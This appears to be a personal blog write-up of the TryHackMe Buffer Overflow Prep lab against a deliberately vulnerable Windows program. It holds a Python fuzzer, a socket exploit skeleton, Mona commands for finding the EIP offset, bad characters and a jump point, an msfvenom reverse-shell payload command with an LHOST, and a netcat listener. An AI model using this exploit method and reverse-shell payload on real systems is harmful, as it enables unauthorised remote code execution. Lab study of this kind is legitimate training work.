Hello World, and welcome to HaXeZ. Today I want to talk about Buffer Overflows. I’ve struggled with Buffer Overflows for a long time. In other words, I understood the concept but always had trouble applying it practically. Recently I have buried my head in the sand and have just sunk hours into TryHackMe. I came across the buffer overflows learning path and finally understand so now I’m bringing you this article.
Buffer Overflows Setup
The First thing we need to do is to head to TryHackMe and head to the Buffer Overflows Prep room. You can find the room here. Next, we need to spawn the machine and grab the IP address. You can then remote desktop from your Linux virtual machine to the new IP address using Remmina.
Setting Up Immunity
Once connected via RDP to the Windows Machine, launch Immunity as an Administrator and configure Mona using the following command.
"!mona config -set workingfolder c:\mona\%p"

After immunity has been configured, you can open the oscp.exe program which is found in the vulnerable program’s directory. You can then run the program by clicking the red arrow. Feel free to poke around on the program by connecting to it using netcat on port 1337.

Fuzzing The Program
We need to fuzz the program to see if it is vulnerable. We do this by sending it a long string of characters. In essence, This long string of characters will eventually exceed the memory buffer causing the buffer overflow. That drastically simplifies the process but let’s start fuzzing the program. Grab the script below and amend it with the IP address of the host and the overflow you want to target.
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.237.191"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Ensure the program is running then launch the fuzzing script. Additionally, make a note of the number of bytes it takes to crash the program.
"python3 fuzz.py"

Create a Cyclic Pattern
Finding the EIP offset requires us to create a pattern with the length that was required to crash the program. For example, we can use Metasploit to create a Cyclic Pattern by using the command below. However, an additional 400 bytes should be added to the pattern. As it took 2400 bytes to crash the program we will create a pattern of 2400.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

Next, you need to edit the python payload below and add the Cyclic Pattern to the payload variable. Please be advised that I have snipped some out to save space so the below payload won’t work. Generate and use your own.
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = <sniped>"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4A"<sniped>
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Finding The EIP Offset
Next, we need to find the EIP offset. By all means, go and research what the EIP offset is used for, I’m not going to explain a lot in detail here as the post will be long enough. Anyway, restart and reopen the vulnerable OSCP program and then launch your python exploit script.
python3 exp.py
Once the Python exploit has crashed the script, head over to the immunity debugger and run the following Mona command to find the EIP offset.
!mona findmsp -distance 2000
This should open the Log window but if it doesn’t then open it manually and look for the following entry in the output.
EIP contains normal pattern : ... (offset 1978)
Creating a Byte Array
For Buffer Overflows to be successful we need to ensure that our payloads don’t contain any bad characters. To explain, bad characters such as null bytes (\x00) could cause our payload to crash the program rather than executing the code we specify.
First, we need to modify our exploit script and set the ‘retn’ variable to ‘BBBB’. Next, we need to set the offset variable to the EIP offset value we discovered earlier (1978). Then we need to use Mona to create a Byte Array to compare our payload to. This Byte Array will exclude all the bad characters we find starting with the Null Byte.
!mona bytearray -b "\x00"
In order for us to identify the bad characters, we need to create our own byte array to use as a payload. This can be done using the script below. Copy and save the script to a name of your choice, I chose bad.py. Copy the output of the script and paste it into the payload variable of the exploit script.
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()


Finding Bad Characters
Back to finding bad characters, reopen and run the vulnerable OSCP.exe application. Then run your Python buffer overflows exploit script.

Once the script has been completed, head back to the Immunity Debugger and loo for the ESP register in the CPU window.

Right click the ESP register and copy the address to your clip then run the following Mona command to compare it to the Byte Array that Mono created earlier. As shown below, this produces a window containing all the bad characters that we need to eliminate from our script. However, some of these characters may not be bad characters. For example \x07 and \x08 are both listed as bad characters but it could be that \x07 is bleeding into \x08 and making it look bad. Therefore, we need to repeat the process we just did and eliminate each bad character one at a time.
!mona compare -f C:\mona\oscp\bytearray.bin -a 01AFFA30

Reapting The Process
I won’t walk you through each step individually but I will include some code below which should help you to repeat the steps we just did.
Create Byte Array
!mona bytearray -b "\x00"
Remove byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 018BFA30
!mona bytearray -b "\x00\x07"
remove \x07 byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30
!mona bytearray -b "\x00\x07\x2e"
remove \x2e byte from payload string
run
get ESP address
Compare
!mona compare -f C:\mona\oscp\bytearray.bin -a 019AFA30
Keep repeating the process until there are no more bad characters and your comparison results look like the image below.

Finding The Jump Point
Now that we have identified all the bad characters, we can use Mona to find a Jump point in the application that excludes all these bad characters. Again, I don’t have a clue what I’m talking about, I’m just following a process and rewriting it. As you can see from the command below, we are asking Monda to find a jump point excluding all the bad characters we have eliminated.
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Creating The Buffer Overflow Exploit
We now need to create our payload. As can be seen from the snippet and image below, we can use msfvenom to create it for us. Ensure you select the correct payload, change your LHOST address, and include the bad characters. We include the bad characters to ensure that the payload doesn’t contain any.
msfvenom -p windows/shell_reverse_tcp LHOST=10.18.127.129 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Next, we need to modify our Python exploit script to add the payload and return address (the JMP address we just found). Ensure that the payload starts with an open bracket and double speech mark, and closes with a double speech mark and close bracket. When adding the return address, you need to reverse the JMP address. See the image below for details. The original JMP address is in blue as a comment. You can see that 625011af becomes \xaf\x11\x50\x62. You also need to add the padding as shown below (padding = “\x90” * 16).

Exploiting The Buffer Overflow
First, reopen the oscp.exe vulnerable program and run it. Next, create a net cat listener on your attack host.
┌─[✗]─[joe@Parrot]─[~/OF]
└──╼ $sudo nc -lvnp 4444
listening on [any] 4444 ...

Finally…. RUN… THE… EXPLOIT…

Conclusions
Going through the Buffer Overflow series on TryHackMe has taught me a lot about failure and success. It has allowed me to reflect on how impatient I can be when things aren’t going my way. I feel that this is such a relevant topic in society today. A lot of things aren’t going our way right now. Ukraine is being invaded by Russia, the cost of living crisis, our clueless leadership and so much more. It’s all incredibly frustrating to sit back and watch. Sometimes I just want to fast forward life until it isn’t so crappy again. However, our failures and setbacks allow us to appreciate the good things in life when they do happen. I was overjoyed when I finally got this exploit to work. Granted it is insignificant to the problems in the world but perhaps something better is just on the horizon.